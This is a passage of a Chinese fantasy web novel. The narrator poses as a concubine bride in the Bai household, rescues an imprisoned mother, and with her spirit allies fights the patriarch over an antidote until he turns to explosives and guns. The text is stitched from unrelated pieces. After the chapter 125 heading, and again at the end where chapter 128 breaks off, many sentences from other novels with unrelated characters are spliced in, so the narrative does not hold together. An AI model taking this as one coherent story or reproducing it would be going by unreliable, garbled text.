说完,柳云衣与胡玉衡齐力往我身上施法,把我身上的衣物变成与苏灵儿身上的喜服一模一样的红色鸾鸟旗袍…… 连发型与身上佩戴的首饰都给我一比一复刻下来了。 柳云响把昏迷的苏灵儿搀扶进卧房,送她去床上躺着,还贴心地给苏灵儿盖好被子。 “盖头,红盖头给小萦盖上!”颜如玉指着旁边桌上的鸳鸯红盖头大叫。 离得近的蟒仙随手把盖头扯过去,麻利抛给柳云衣。 柳云衣拎着盖头两角,挥手把盖头遮在了我的脑袋上,心惊胆战道: “还好苏灵儿是妾,等会儿不用和白家那老东西拜堂…… 要不然大王知道咱们把他媳妇送上别人的花轿嫁给了别的糟老头子,非扒了咱们几个的皮,抽了咱们几个的筋不可!” 余惊云叹道: “这不是实在没有法子了么!而且咱们之前的确都把小萦想得太弱不禁风了。 小萦和风柔不一样,你们仔细回想一下,前几回咱们一同行动,小萦什么时候拖过咱们后腿了? 相反,好几次还是小萦在危急关头帮了我们大忙! 小萦现在根本不是需要咱们保护的娇弱妹子,而是可以和咱们并肩作战的队友!” 蟒仙点点脑袋:“老鱼你说得没错!我们确实应该正视小萦的实力!” 见我们这边都准备好了,苏苏着急捉住我的手,小声请求: “我也要和二姐一起去白家!我可以给二姐做伴!玉衡哥哥,我保证,不拖累你们……” 不等胡玉衡开口,余惊云便很讲义气道: “说什么拖累不拖累,我们八个,加上柳云响,一共九个,和小萦、大王、你,我们永远都是一个团队!不存在谁会拖累谁!” 颜如玉道: “就是啊!反正留你一个人在这种地方老狐狸也不放心,真出什么事咱们九个还能护不住你和小萦两个女孩子么? 再说,苏苏可是咱们团队的智商担当,团伙作案带军师是标配! 别多虑,想去就去!有你玉衡哥哥在呢,不会让你磕着碰着!” 说完,柳云衣又挥袖把流苏变成一名狐耳女孩, “等会儿你就说你是新娘子的远房表妹,是狐族。 你搀着小萦上花轿,那些人应该不会过多怀疑。” 流苏欣喜点头:“嗯!” 我握住流苏的手,温声安抚她:“不怕。” 迎亲队伍进门前半分钟,仙家们全部迅速躲进了藏息铃。 昨天下午过来送喜服的喜婆子一进门就粗着嗓门高兴得笑个没完。 “呦,新娘子自己已经捯饬好了?我就说,这身红旗袍最衬十八夫人的身材了,这杨柳细腰,前凸后翘……” 说着还很没有边界感地伸手拍了下我的屁股…… 我一惊,被她拍得头皮发麻。 苏苏护住我,警惕责怪:“说话就说话,别动手动脚!” 喜婆子傲娇的哼了声,甩着红喜帕不悦反问:“哪来的小狐狸?怎么和新娘子在一块?” 苏苏弱弱回答:“我、是灵儿姐姐的表妹!我今天是来送灵儿姐姐出嫁的!” 喜婆子质疑:“是么……” 苏苏装得理直气壮:“当然是啊!要不然我怎么能进来,怎么会待在姐姐身边!” 我握紧苏苏的手,压低声帮苏苏证明: “喜婆,她的确是我妹妹,来送我出门的。怎么,我苏灵儿的婚礼,连个娘家人都不能带?” 喜婆子忙哄道:“能带能带,我也只是随口问问,毕竟昨天也没听十八夫人你说,会有亲人来送嫁啊!” 我借着红盖头的遮挡,底气十足的冷声道:“昨天我就和你说过,是你办事不力没有把我的话放心上!” “是么?”喜婆子被我说得自我怀疑了,连连尴尬道歉: “怪我怪我,十八夫人别生气,既然是十八夫人的娘家人,那、那就快走吧,花轿就楼下停着呢,千万别误了吉时。” 喜婆子心虚地催着我出门,苏苏握紧我的手,掺着我慢步离开房间。 顺利走出酒店大门后,喜婆子着急招呼:“都别歇着了,喜乐吹起来,锣鼓敲起来!” 丫鬟掀开轿帘,等我进去。 我不放心地抓着苏苏指尖:“你陪我一起进来。” 喜婆子为难低吟:“这……” 我顶着红盖头冷冷问:“怎么?难不成你们白家派了顶小轿来接亲?” 喜婆子慌忙否认: “不不不,按昨天和十八夫人说好的规格来。 十八夫人身份尊贵,只是名义上为白府的妾,其他方面和正妻是差不多的…… 今天来接亲的,可是十六人抬的大轿子!” “那多坐一人又何妨?我本就没有娘家人来送亲,小妹千辛万苦跑来东北仙域见我,我想和她多待一阵。” “这……”喜婆子嘶了声,不好拒绝我,只能无奈应允:“行行行!那就让这位小姐陪你一起坐进去吧!” 说完,又扭头去训斥旁边的吹唢呐队伍。 我和流苏一起坐进轿子,轿子被抬起,十六人抬的大轿在路上走得极稳。 喜婆在轿外不满地嘀咕: “家主可真是疯魔了,娶了这么一位祖宗进府!以后白府内院可就有好戏看喽。” 第一卷 第125章 白府的白发女人 我悄悄掀开头上的盖头,看见坐在身侧的流苏,目光落在她头顶那双可爱漂亮的蓝色狐耳上,忍不住伸手去捏捏。 流苏羞涩红了脸,“二姐……轻点。” 我用口型夸她:“真可爱!” “不过如果我给了你们这么长的时间,你们的准备就是这样的话,那就还是不行,”华颜摇了摇头,身上升腾起的魔气直接缠上了手中的那柄血红色巨剑,随后,那血红色巨剑便开始不断的抖动了起来。 曹筠让他“等着”,并不是意味着退让,而是让他等待时机,毕竟人家就算是撕合同,也是按照流程来的,你想就这样跟人家一个大公司对着干,显然是螳臂当车,有些自不量力了。 豹王集团总部大楼倒塌的时候,还有300多人正在里面工作。现在这些人全被压在了里面,而莫先生和太太就在其中。 而最引人夺目的,便是她修长的玉|腿之下,那一双穿着白色皮凉鞋的雪|足。 一道雷鸣般的声响响彻而起,眨眼间在欧阳颜的视线中,便是看到了那道教自己三界剑法的光影显现而出。 看到欧阳颜回来,狼啸天回对看了一眼,双眼中满是仇恨的火焰,与欧阳颜的视线一对,他又把头扭开了。 “不方便?不会那么巧吧?”这感情庄轻轻的“大姨妈”是一个会走动的主?每个月的时间都那么不准不是? 控制他们的数量,保证现在兽人的生活质量,这是一个最好的机会。 “这……不可能的吧,他竟然有两件大道神兵!”看到这从天而降的太极球,众人震惊了了。 “孤天佑,看来他是真要送我一座蛮荒神庙了。”欧阳颜微微一笑,看着天际奔腾而来的那脚踏神龙,背负宝剑而来的身影。 “没事儿,就是看着等出租车的都排了这么长的队伍了,出一点感概。”杜片片嘻嘻笑道。 卢月斜没有想到申请的事情这么顺利,在回去的路上,又遇到了之前的那个工作人员,不过看样子她似乎很匆忙。 媚娘也不客气,应了一声,当先走了进去!若枫和魅影双双陪在媚娘身后也闪身而入。 看着儿子天真无邪的大眼睛眨呀眨的说完一席话,宣儿在感觉震惊之余,难免也流露出一丝疑虑。 “我不管,我从今天开始就赖这里了。”许婷耍赖得不光把楚天的枕头抱住,还把他被子、床单什么都抱住。说是赖他的房,不如是赖他的床。 而跟在三人身后的另一名中年男子长的却并不比木宇高多少,如果不细看,还以为也是名十几岁的孩子一般!样子干巴巴的,皮肤浮现着一层铁锈之色。 想到这里,冷雨柔便收回了举起的手,又在位置上静静地坐下了。 “我们不是有他们的把柄吗?怎么现在他们因为陈正出事了,都沒有听陈家的话了?”陈泰旺问道。 “叶枫,那个东方志剑认识是谁吗?”楚生左右看看,教室里只剩下他们三个了,其他的已经陆陆续续的走出去,不少青年已经去接他们的管家,然后将被褥等寝室用品送去。 当杜片片醒过来看到抱着她的陈威,还以为是做梦!猛拍了几下自己的脸蛋才知道是现实,兴奋的问东问西。知道了陈威现在的情况,也知道了自己刚才发生的事情,后怕的都不敢闭眼了。 清让信他,他说云泽活着那便是活着,她探头张开嘴一口吞下了勺子里的米粥,淡的一丝味道都没有,稀得很,果然是难喝得紧。虞子琛瞧着她一会子乖巧一会子又皱眉的模样,倒是明白为何端木家父子都将她捧在手里宠。 碎裂的古剑继续碎裂,在天道的防御之下,简直可以用土崩瓦解来形容,但古剑的碎片透过天道的防御之后,又重新组成了满是裂纹的古剑,可惜的是,只差了一点,白帝手中的古剑便可以刺中天道。 苏刚刚拥有的那种语调,有点夸张。刘的财务主宁宁觉得林天遥在欺骗自己。 “超越破神境的极限?!”司马楼一震,他本以为自己在破神境压制修为,直到不得已才晋升劫难境,同境界难逢敌手,甚至能以一劫境修为战平二劫境强者。 “你不是随他们出去了,如何还在这里?”虞子琛站在门口,看到清让与梅子健站在一起似乎在商量什么,不禁出口询问。 靳总,又是靳总,四下无人她依然喊他靳总,靳光衍的脸色阴沉下来,他如鹰般凌厉的眼神紧盯着她。 地点是大楼的考试大厅里面,人满为患,很多的新成员怀着梦想来到了这里。 那一晚,端木云泽背着端木清让,从紫玉园到莲居,空中月高星繁,一路清风徐徐,花闭一半,偶有虫鸣相配,端木清让难得做了好梦一场,梦里她与爹娘坐在莲池边上笑。 若馨垂下双臂,不能置信地摇着头,喉头像被什么堵住一般,充斥在脑海中的只有关景天的死。 生疏的话语,平静地倾吐而出。让原本相近的两人,拉开到了咫尺天涯。 将心中的情绪收敛而下,萧畅手指在面前虚空轻轻一划,一道空间裂缝便是浮现而出,他的目光再度扫过这片空间,然后踏步走进,空间一阵蠕动,便是消失在了那无数道目光的注视之下。 “行了,你不用白费心机了,我们殿主这次真的没来,一切都交由我全权负责了。既然你那么想被咬,我便成全你。”金平游一摆手。他身后的队员便气势汹汹地杀了过去。 “那好,今天正好是我们烈焰红唇每周一次的压轴节目表演,相信这段时间里,轮回团长你也不会觉得无聊,我跟你说……,对了,我有事就不陪轮回团长了,等会那些人到齐我再来叫你!”。 第126章 白家夫人 胡玉衡拧眉目露怀疑地盯着白无双,“是么?” 白无双勾唇浅笑:“你们现在就在白府,我若想抓你们,还需要在这同你们说这些吗?” 无奈看了眼我们身后的小木屋,白无双感叹道: “是昙娘告诉你们,夫人手中,或许也有断魂灭魄散解药的吧?” “夫人?”我疑惑追问白无双:“这里面关着的,是哪位夫人?” 白无双低低回答: “这白府,说到底,只有一位名正言顺的夫人。 里面关着的,自然是真正的家主夫人,三弟的亲生母亲。” “家主夫人不是说,早年便抑郁而终,暴毙府内了吗?”胡玉衡问。 白无双摇摇头,信步走近我们,缓声解释: “家主夫人若不暴毙,家主如何迎娶新夫人呢? 当年,母亲刚生下三弟,便被迫承受母子分离之苦。 父亲在三弟满月当天,给了母亲两个选择。 要么,留在后院做风风光光的家主夫人,但三弟,不能留。 且,往后无论母亲生多少个孩子,父亲都会派人将孩子扔进河中溺死。 简单说,就是家主夫人的身份与孩子,她只能选择一样。 要么,服下父亲给的疯药,搬来云华苑,非死不得出。 父亲会对外宣布,家主夫人暴毙而亡。 当然,这还是父亲看在母亲从小陪他一起长大的份上,念在多年兄妹之情的份上,从轻处置了。 母亲后来,选了第二条路。 父亲给母亲服用的疯药,是烈性药物,一旦服下,大脑便会终生受损,一辈子都休想恢复清醒。 就这样,母亲用自己命,换了三弟一命。 母亲被囚进云华苑后,日日浑浑噩噩。 外面每隔五天来给母亲送一次馊饭脏水,确保母亲不会渴死饿死。 五百多年了,母亲从未踏出过这个破院子。 三弟刚满百岁那会子,从府中下人口中得知了母亲还活着的消息,不顾我和二弟阻拦,偏要来见母亲一面。 但消息被父亲得知后,父亲为了惩罚三弟,便亲手拿淬了毒汁的马鞭,当着三弟的面,把母亲打得全身是血。 还警告三弟说,若想母亲活着,此生就不许再与母亲见面。 若有下次,他便下令处死母亲。 三弟不忍母亲被伤害,只能立誓,此生再不见母亲,否则,便教母亲,即刻魂飞魄散。 只奈何,当时母亲还疯着,根本不晓得面前哭着伸手想抓她的人就是她的亲儿子。 那次后,父亲为了关母亲,便下令封了母亲的门窗,还用天机鼎罩住了母亲的住处。 我们原本以为,母亲会永远这么疯下去…… 可两百年前,三弟出事那晚,许是母子之间有心灵感应,母亲突然就清醒了,哭着要离开木屋,去找自己的孩子。 我们知道父亲给三弟喂了断魂灭魄散,三弟已经没救了,只能连夜赶过来,稳住母亲的情绪,捂住母亲的嘴巴,不许母亲哭出声。 三弟已经没了,父亲若是知道母亲短暂恢复了清醒,肯定不会放过母亲,大概率,会斩草除根。 那夜过后,母亲又恢复了疯疯癫癫的样子,但我们清楚,她心里晓得三弟已经没了。 这些年来,她每每想起三弟,都会突然哭得肝肠寸断。 母亲这辈子最大的遗憾,就是没能亲手抱一抱三弟,没能多看几眼自己的孩子。 所以三弟死后,母亲总是会唱起这些哄孩子的歌谣。 最近两个月,母亲念叨三弟的次数,比以往频繁了几十倍。 她半昏沉半清醒时,总是拉着我的手说,自己要和三弟相见了。 我们听着,心里也很是不好受,我们很害怕,是母亲大限将至…… 头几日,我听说三弟的魂魄还没散,三弟有朋友来白家索要断魂灭魄散的解药,我和二弟,才松口气。 我想,应是母亲终于要苦尽甘来,终于,要和三弟母子重逢了。 父亲不肯给解药,父亲自己也料到三弟的朋友不会放过他,所以这几日白府上下守卫很森严。 但我和父亲都晓得,你们迟早会出现的。 前日,昙娘给我传话,说有人问起了白家三公子的死因。 我当时便知道,我等的人,要出现了。” 话说完,白无双用法术带我们穿门进了小木屋。 木屋里对着铜镜轻声唱歌的女人听见动静,止住歌声,保持平静的幽幽启唇:“你来了。” 白无双温和将手搭在女人肩上,心疼道:“母亲,你又想三弟了。” 白发女人别好鬓角的茉莉花,眼神空洞地喃喃道: “无双,你的手好凉,是不是又调皮下水捞鱼了? 还是如此不稳重,你父亲看见,会不高兴的。” “母亲……” “昨日府中新得了几匹漂亮的锦缎,你晚上回去,抱两匹给你阿娘。 你阿娘啊,最喜欢这些漂亮鲜艳的布料了。” 白无双喉中哽咽:“好。” “无痕呢?又跑哪儿野去了?你这个弟弟不让人省心,倒让你总受委屈。 你父亲说的那些话,别放在心上。万事,都有母亲呢。” 想了想,白发女人忽然两眼冒光地扭头,拉住白无双的手温柔笑问: “无双,你今年是不是满百岁了? 母亲给你操办个盛大的百岁宴,把你外祖家也请来热闹热闹可好? 你父亲过两日要去北方办事,府里大小事务,母亲可以做主。” 白无双眼角含泪地点点头,轻轻应下:“都听母亲的。” 扭头看向我们,白无双伤怀道:“现在可以证明,我没有骗三位了吧。” 见此情景,我们也不得不打消心中顾虑,暂且将他当成盟友。 “你刚才说,夫人手里有断魂灭魄散的解药?”我问。 白无双颔首: “断魂灭魄散乃是白家祖上传下来的镇族毒方,母亲曾是祖父祖母最疼爱的义女,是上过族谱的白家小姐。 按理说,断魂灭魄散的毒方与解药方子都仅有白家历代家主与少主清楚,但父亲从前并不受祖父祖母宠爱。 据府内伺候过祖父的老奴仆说,祖父曾将断魂灭魄散的毒药方子与解药方子告诉过母亲。 父亲当年如此容不下母亲,其中一个原因就是母亲身为白家义女,却比父亲这个白家家主亲子更受家主及夫人疼爱。 祖父生前,甚至起过要将家主之位传给母亲的心思。 母亲手中同样掌握着仅有白家家主才知道的白家秘密,父亲家主身份得位不正,母亲的存在于父亲而言,就是最大的威胁。 父亲当年执意要先逼母亲服下疯药,再将母亲囚禁于云华苑,便是害怕母亲将白家的秘密说出去…… 若是母亲没有被逼疯,母亲肯定会将断魂灭魄散解药的方子告诉你们,让你们去救三弟。 只可惜,现在我也没有把握唤醒母亲的神识。不过……” 白无双面色凝重地提议道:“有个冒险的法子,或许可以试一试!” 胡玉衡冷静问:“什么法子?” 白无双道:“让母亲再见三弟一面。母子连心,或许能让母亲恢复清醒!” “你想用小白刺激白夫人?”胡玉衡犹豫道:“小白现在的情况很差,暂不方便见人。” 白无双叹口气,理智道: “你们可以考虑一下。 父亲此人冷血薄情,对母亲与三弟更是阴毒狠辣。 即便你们背后有大人物撑腰,以父亲的性子,也未必肯将解药交出来。 而且,这些年我和无痕,还有府内旁的弟兄们也在暗中查找断魂灭魄散的毒方。 想试着先找到毒方,再研究出解药,但父亲将东西藏得很深…… 我甚至怀疑,断魂灭魄散没有留档的药方,极有可能是历代家主口耳相传!” 胡玉衡沉着脸斟酌少时,选择把决定权交给我:“小萦,你认为呢?” 我想了几秒,打起精神准备赌一把: “来都来了,这里关着的是小白母亲,就算她手里没有断魂灭魄散的解药,我们和小白这交情,他母亲有难,我们也不能坐视不管。 先把他母亲弄出去再说,能不能唤醒小白母亲先不谈,至少,这算是我们的一条退路。 万一,真像白大公子说的那样,老东西坚决不肯交出解药,多条退路,小白就多一分生机!” 胡玉衡听罢点点头:“也好。” 见我们做下决定,白无双好心提醒: “我们可以进这个小木屋,但却带不走母亲,父亲用祖传法器罩住云华苑,就是打算将母亲困在云华苑,囚禁到死。” “那怎么办?我们带不走小白哥哥的妈妈,难道要把小白哥哥送过来?可小白哥哥现在还昏迷不醒,命悬一线着呢!”苏苏担忧道。 白无双仗义开口: “无妨,我和二弟研究过,只要我俩祭出元神,暂时用元神堵住法器,也许能为母亲争一线希望! 待我传信将二弟喊过来,届时我俩一起动手,三位便立马带着母亲闯出去。母亲,就交给三位了……” “祭出元神去堵法器……你们会有性命之危的!” 胡玉衡敛眉不解地审视白家大公子: “白夫人又不是你与二公子的生母,你们为何,这般照顾她?” 白无双温润一笑, “三位有所不知,外界都说东北的五大家族亲缘浅薄,父子兄弟相残,家族子弟为争权夺势斗得你死我活,打成仇人。 真相,虽说的确如此。 白家往上数好代,都如外人传扬的那样,为了一个家主之位,勾心斗角,互相算计。 可到了咱们这一代,许是咱们的父亲对每个儿子都没有爱,没有半分真心,咱们这一代,十三个兄弟,关系却是出奇的好。 无尘出生后虽被养在奴仆身边,可我和无痕这两个哥哥却是经常私下去探望他,陪伴他。 若不然,三位以为,我那三弟如何能接触到本家的医学秘籍,成为东北白家最年轻,名气最盛的小医仙? 无尘出生时,家里只有我们这三个公子,也因此,我们三人,关系最好。 在无尘后面出生的弟弟们虽然有的会因为姨娘们的怂恿挤兑欺负无尘,但始终,并未做出任何损伤兄弟情谊、更出格的事。 加上,我和无痕的阿娘……是父亲的妾。 母亲原本就是家中小小姐,我们的阿娘都受过母亲恩惠。 暖床丫鬟出身的妾,身份并不光彩,父亲当时又一门心思都在现在这位家主夫人身上,连带着我和无痕,他也看不顺眼。 我们本就出身卑微,又不得父亲喜欢,在府内府外的日子,就过得更艰难了。 是母亲始终不嫌弃我们,母亲在时,照顾我和无痕,庇护我们的阿娘。 母亲,是个很好的人。 所以无尘出事后,我们就经常偷来云华苑照顾母亲。 两百年前,柳凤媖进门,没有母亲的庇护,我和无痕的阿娘,也遭了毒手。 阿娘们都走了,我们在这世上,就仅剩母亲一个亲人了。 因此……我们比任何人,都希望母亲能好起来。” “原是这样。”胡玉衡低道:“想不到大公子和二公子也是性情中人。” “在我们这种大家族里,亲情最难得、最难守,所以才显得弥足珍贵。 我们活着,能为我们的弟弟做些什么,我们会由衷觉得、值了。 再说……当哥哥的,不就是要护着弟弟么? 两百年前,我和无痕没能救他,两百年后,我们不会再放任任何人毁掉他了。 哪怕这个人……是我们的父亲。” 白无双朝我们客气行礼:“三位先准备一下,我唤无痕过来……” 我轻轻阻止道:“我有个办法,可以试一下能不能把小白母亲带出去!” 从口袋里掏出藏息铃:“帝曦给我的这串铃铛挺厉害的,我把小白母亲收进去,看看能不能带她一起离开云华苑。” 一贯稳重的胡玉衡这回难得地支持我:“这铃铛……可以一试!” 我又去征求白无双的意见:“大公子,您可放心?” 白无双考虑了下,选择点头:“我相信三位!” 有了白无双的允许,我拿出铃铛在心里默念了帝曦传授给我的口诀,将小白亲娘化成一抹银光收进了藏息铃内—— 铃铛坠进我的手心,我抓紧铃铛,牵着流苏去闯白家主设下的结界。 身子穿过那层银光时,流苏惊喜道:“二姐!我们出来了!” 紧随我们之后的胡玉衡与白无双也猛松口气…… 不过我们人刚出来,院子里就陡然又出现一道青色身影。 还是个长相秀气的年轻男人,甫一现身就着急往白无双面前跑:“大哥,快走,父亲的狗腿子往这边来了!” 他应该就是白无痕了。 白无双立即询问胡玉衡:“有落脚之地吗?没有的话,我带你们去我的院子!” 胡玉衡无奈深呼吸:“有,你父亲十八夫人的新房。我们是、顶替新娘子身份进来的。” 白无双愣了下,白无痕眼角猛跳…… 第127章 都什么时代了,谁还斗法,都改用枪了! 片刻后,白无双还是忍着尴尬,一挥袖子带我们瞬间回到了他父亲小老婆的新房。 小白这些天一直被收在藏息铃里吊着性命,回去后,柳云衣与柳云响两口子带小白母亲与两个哥哥进了小白所在的那片铃中天地。 可惜,小白母亲见了昏迷不醒的小白,并没有第一时间认出来。 为了帮助小白母亲恢复记忆,柳云衣两口子与白无双白无痕在藏息铃内努力了整整一下午,奈何,依旧效果甚微。 恰赶上白天宾客多,我们不好对白家主下手,于是只能在房间干坐几个小时。 桌上的喜饼干果与茶水都被蟒仙他们给炫光了。 傍晚六点半,天还不怎么黑,府内便早早掌了灯。 檐下红灯笼一个接一个被挂起。 外面再有动静时,老蟒正趴在桌上化出尾巴拍核桃—— 一尾巴甩下去,坚硬的核桃壳霎时碎成好几瓣。 老蟒一边和苏苏分核桃,一边忍不住吐槽: “这什么玩意啊!一看就是从外面市场上买回来的,不是山里种的! 破核桃壳又厚,仁又苦!哪像纯正的山核桃,皮薄仁大,还脆,没那么大的苦味…… 好歹是白家的家主,娶媳妇都不晓得买点贵干果,拿这东西过来,糊弄鬼呢!” 我穿着红旗袍,无聊地拿红盖头当手帕转: “人家也没想到,新娘子会真啃这玩意啊! 这些东西本来就是表面功夫,压根不是给人吃的,装饰品,你懂么?” 老蟒嫌弃吐皮:“呸,最讨厌这些不实诚的狗东西了!” 话音刚落,外面就传来下人的招呼声:“家主回来了,十八夫人,家主到新房了!” 白家那老东西来了! 余惊云他们闻声忙钻进藏息铃,流苏把桌上的果皮用红布盖住,小跑过来手快地给我重新遮上盖头—— “我的脸……”我小声问。 流苏谨慎的低答:“是灵儿姐姐的脸!” 我猛松口气,把心放回胸膛里。 白家那老东西进门后先在喜婆子的引导下用秤杆挑起我脑袋上的红盖头…… 随后侍女们又倒了两杯酒送过来,催促老东西与我喝交杯酒。 而我,也终于能近距离看清这老渣男狗玩意的长相如何了…… 不得不承认,老东西虽然有几分显老,但长相的确还不错。 属于五官端正,目光炯炯有神,沉稳显贵气,棱角分明器宇轩昂那一款。 难怪,有本事娶到十八房小妾! 小白长得清隽俊逸,看来也有他的几分功劳。 我端起交杯酒,嫌弃的迟迟没有下一步动作。 总不能真和他喝这杯夫妻酒吧……多膈应我啊! 而就在我紧张思考着该怎么把这一流程糊弄过去时,外面丫鬟的传话声成功让我躲过一劫。 “家主,不好了,家主夫人心疾又犯了!” 白家老东西听见这话,霎时就没了喝交杯酒的兴致。 将酒杯重重放回托盘里,老东西压着怒意咬牙无情呵斥: “管家!把这个不懂规矩的丫鬟拖远点,掌嘴!” 白无痕口中的狗腿子管家忙恭敬应道:“是!” 随后小跑出去,把来传话的丫鬟硬拽开…… 丫鬟不死心地瑟瑟哭道: “家主,家主您快去看看夫人吧,夫人心疾严重,恐有性命之危啊!家主——” 老东西青着脸冷哼一声: “不舒服也给本家主忍着,忍不了就去死! 再打扰本家主与苏夫人温存,本家主杀了你!” “家主——” 丫鬟撕心裂肺的哭声渐渐远去,老东西不耐烦地抬手重新拿过酒杯,努力克制着愤怒情绪,朝我轻声说:“夫人,我们继续。” 手臂准备挎上我的手臂时,我却紧忙出声阻止:“家主。” 他怔住,目露疑惑,审视着我问道:“怎么?” 我抿唇朝他露出一抹得体的笑:“我们来玩点不一样的,好不好?” 他闻言,来了兴致,在我身边坐下:“哦?夫人想玩哪种不一样的?” 我昂头,凑近他些,作势要吻他…… 但红唇却在离他脸颊二十公分距离处停了下来,故作娇羞地扭头瞧了眼床边站着的两排侍女与一名喜婆子,存心往他耳边呵气。 一脸媚态地浅声轻哄:“让她们都出去。” 狗渣男被我撩得耳鬓泛红,吞了口口水,眼神凌厉地瞥向对面喜婆与侍女,手一挥: “先出去!” 喜婆子黑着脸抽了抽嘴角,领命带着侍女们退离了房间。 老东西见我身边的苏苏还没走,更有兴致了:“听闻苏氏狐族,最会魅惑郎君……” 捏住我的下颌,老东西抬起我的面容,盯着苏灵儿这张绝世美艳的容颜,醉眼迷离地感慨: “为了娶你,我可花了不少心思! 还好你只是苏氏旁支的狐狸,不是人皇主脉,不然,人皇与狐祖的后人,我可不敢让她当妾…… 为了你,我连东岳大帝都请来了,还不够看重你么? 我给了你坐十六抬大轿的风光婚礼,你以后,可要好生伺候为夫才是。 多为夫君生几个聪明孩子,东北白家与冀州苏氏的血脉相结合,你我争取,再生个聪明绝顶的小医仙出来。 届时,我让他做白家少主。” 我盯着他这张色意频现的老脸一阵犯恶心,挑眉反呛道: “小医仙,哪那么容易生出来啊,你都娶了十七个了,也没见生出半个医仙来。 何况,生医仙,有何用,给你杀着玩吗?” 他也不恼,放开我的下颌,欲要来亲我:“你生的,我定不杀。届时过继给家主夫人,他就是名正言顺的少主。” 把苏灵儿生的孩子过继给柳凤媖,更恶心了。 我预测外面的那些人已经走远了,这才放心给他点颜色看看…… “家主……” “嗯?” “你好恶心啊!” 我没等他亲到我,抬手狠狠一巴掌就把他打懵了。 他一愣,不解地看着我。 下一秒,余惊云他们齐齐从我腰间的藏息铃内飞出来—— “大鹏亮翅!” “神龙摆尾——” “巨蟒神功!” “降龙十八掌!” “给你生坨屎你要不要!” “老东西,一把岁数了想得挺美!” “都让开!天降神山——” 眼见着风震野飞扑过来要一屁股坐死白家这个老东西,我赶紧拉上苏苏先逃为上! 离开喜床的下一秒,风震野化成猛虎原形砰地一声落坐在了白家老东西的胸口上…… 把白家老东西坐得胃里酒水都喷出来了。 画面太残忍,我和苏苏抱在一块压根没眼看。 只是,没过多久,风震野就捂着屁股吃痛的起身跳下了床…… “哎呦,哎呦,我的虎臀儿啊!死东西身上刺真多!” 我汗颜,心累扶额。 这个铁憨憨,怎么能就忘记了白家全是刺猬呢! 余惊云掐住老东西的脖子,把老东西按在床上唰唰就是两巴掌, “你敢噘嘴亲我们主人,你不想活了?刚才想用那张嘴亲?老子给你割了!” 柳云衣听不下去的黑脸提醒:“老鱼,你过分了啊,大家不都是只有一张嘴的物种吗?” 余惊云:“哦,那就把这张嘴割了,拿刀来!” 老东西被大家一顿揍,肿着一双眼泡子,双目看不清人,躺在床上瑟瑟发抖地痛苦问道: “你们、到底是什么人!她不是我的十八夫人! 反了天了,竟敢在东北戏耍本家主,你们是想与整个东北为敌吗?!” 沈沐风摇着扇子娘里娘气的发癫用戏腔说道:“为了小白,就算与全世界为敌,又何妨……” “小白……” 老东西愣了下,随后努力瞪大一双紫红眼泡子,看清掐自己脖子的余惊云,恍然大悟: “你们果然是为了那个孽畜来的!怎么,那个小孽障还没死?” 余惊云丝毫不心慈手软地又一巴掌扇过去: “骂谁小孽障呢,老王八犊子!软的不吃,非要尝尝硬的,是吧?! 赶紧把断魂灭魄散的解药交出来,不然我们弄死你——” 可惜老东西仍是一副死猪不怕开水烫的模样,硬气地梗着脖子扭过头,坚决不服输: “还是为了解药而来……呵,休想,我告诉你们,就算你们今天杀了我,我也不会把断魂灭魄散的解药交出来!我死,也要拉那只小孽障垫背!” 柳云响咔嚓掰断八仙桌一只桌腿,掂在手里准备随时动手,气不过地质问道: “小白可是你的亲儿子,你为何待他如此心狠!虎毒还不食子呢!” 风震野连忙赞同道:“就是!” 老东西被余惊云按在床上痛苦地喘息着,咧嘴阴笑: “亲儿子?不,他是本家主的耻辱! 只要他活一天,就会无时无刻不在提醒我,我还有过那样一段不堪的过往! 他就是我懦弱、被人踩在脚下、践踏尊严的产物! 要怪,就怪他不会投胎。 他娘见到了我最狼狈的一面,我本想此事过后,一切就此揭过,谁知却有了他。 他是肮脏的化身,是最恶心的东西。 也是因为有了他,我再次被人踩在脚下碾压,被人嘲笑是个无能的废物,我连自己的婚事都无法左右。 我不想接受他,别人却偏要把他和那个女人强塞给我…… 这样显得我很没出息,很弱,很废! 我不想见到他,原本,他刚出生就该死的,我是看在他娘的面子上,才让他卑贱地活着,让他活得不如一条狗! 他的命,是我给的,我允他活着,他才能活,我让他死,他就必须死!” “可当初,明明是你自己失德强迫了小白母亲。 你伤害了小白母亲,却没勇气承认。 你是小白亲爹,小白是你带来这个世上的,可你却嫌他的存在碍眼。 说白了,你就是个自私自利,不敢承担责任的懦夫。 你连从前的自己都没有勇气直视,你就算杀了小白,杀了小白母亲,也改变不了你不堪的过往,抹不去你少年时期的那些黑历史!” 余惊云按着老东西恼火大骂。 老东西被余惊云掐得老脸通红,恼得额角青筋凸起,哑声闷笑,咬紧牙关喘着粗气挑衅道: “你们以为,我没有提前设防备吗?想要解药……得看你们有没有那个命!” 话说完,老东西突然一掌法力震向床面—— “不好!小萦,你们快跑!”柳云衣疾声提醒。 电光石火间,胡玉衡一把捞过苏苏护在怀里。 柳云衣与柳云响一人拉我一条胳膊,带我飞身闯出去—— 然而人刚破门飞出,整座新房就轰的一声巨响,被凶猛火药炸成了平地。 我们也被爆炸的冲击力撞摔出五米地。 不等我们从地上再爬起来,白府管家就带着大批手持火枪的守卫迅速从四面八方包抄而来,将我们一行人死死围在了炸成断壁残垣的新房门外—— 柳云响扶着满身是灰的我起身: “我、草?他们竟然手里有枪!” 安然无恙出现在我们正对面的白家主手里也握着一把黑枪,枪口在我们一行人中移巡了一遍。 最终定格在我身上。 老东西冷笑一声,讥讽道: “都什么时代了,谁还和你们原始斗法! 现在,大家都玩枪! 逼急了,我后面还放着两架大炮,管你们是什么来路,道行深浅。 一炮下去,是神是妖,都给我死!” 第一卷 第128章 你敢打死我,帝曦会把白家族谱端了! 风震野揉着二度受创的屁股,诧异道: “好家伙!他手里有枪,还有大炮!” 我盯着老东西的枪口硬着头皮咬牙小声问:“你们能干得过真理吗?” 柳云衣揉着被炸疼的心口为难道: 这药,竟然是最为歹毒的迷|药!一旦吸入,将会片刻间没了意识。 听此,冷烨便转身看向潘染木,只听潘染木说:“有花堪折直须折,莫待无花空折枝。”说完便大笑了起来。 顺着声音望去,只见得一个双目尤为狭长的男子趾高气扬地往内而来。 昨天还在街头活蹦乱跳的吆喝着卖臭豆腐的王超,现在却安静地躺在床上死了。 潘染木听着便望向一脸淡定的无袭,她也说过类似这样的话,想别人尊重自己,就要自己先尊重别人,真的是这样的吗? 